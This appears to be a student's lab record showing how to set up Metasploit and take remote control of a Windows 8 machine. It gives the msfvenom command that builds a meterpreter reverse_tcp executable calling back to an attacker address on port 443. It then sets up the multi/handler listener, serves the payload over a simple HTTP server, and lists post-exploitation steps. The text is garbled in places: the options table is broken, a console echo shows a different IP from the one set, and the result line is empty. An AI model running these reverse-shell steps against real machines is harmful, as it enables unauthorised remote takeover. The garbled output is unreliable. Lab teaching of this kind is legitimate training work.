Ex. No.: 8

METASPLOIT

Aim:

To set up Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely.

Algorithm:

- 1. Generate payload to be inserted into the remote machine
- 2. Set the LHOST and it's port number
- 3. Open msfconsole.
- 4. Use exploit/multi/handler
- 5. Establish reverse_tcp with the remote windows 8 machine.
- 6. Run SimpleHTTPServer with port number 8000.
- 7. Open the web browser in
- 8. Windows 8 machine and type http://172.16.8.155:8000
- 9. In KaliLinux, type sysinfo to get the information about Windows 8 machine
- 10. Create a new directory using the mkdir command.
- 11. Delete the created directory.

Output:

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155 LPORT=443 -f exe > /root/hi.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw

payload Payload size: 341 bytes

Final size of exe file:

73802 bytes root@kali:~#

msfconsole

[-] ***

- [-] ***Rting the Metasploit Framework console...\
- [-] * WARNING: No database support: could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port

5432? could not connect to server:

Connection refused

Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432?



```
=[ metasploit v5.0.41-dev
+ -- --= [ 1914 exploits - 1074 auxiliary - 330 post
                                              1
+ -- --= [ 556 payloads - 45 encoders - 10 nops
                                             1
+ -- --= [ 4 evasion
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload
windows/meterpreter/reverse_tcp payload =>
 windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show
options Module options
 (exploit/multi/handler):
  Name Current Setting Required Description
             Payload options
    (windows/meterpreter/reverse_tcp):
Name
        Current Setting Required Description
  EXITFUNC process
                               Exit technique (Accepted: ", seh, thread,
                         yes
  process, none) LHOST
                                     The listen address (an interface may be
                         yes
  specified)
  LPORT 4444
                             The listen port
                      yes
Exploi
  targe
  t:
  Id
  Nam
  0 Wildcard Target
msf5 exploit(multi/handler) > set LHOST
 172.16.8.155 LHOST => 172.16.8.156
```

Reg no: 210701067 Name: Hari Amerthesh N

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msf5 exploit(mult LPORT 443 LPO	$PRT \Rightarrow 443$
msf5 exploit(mul	ti/handler) > exploit
[*] Started reverse TCP handler on 172.16.8.155:443	
Result:	
Testit.	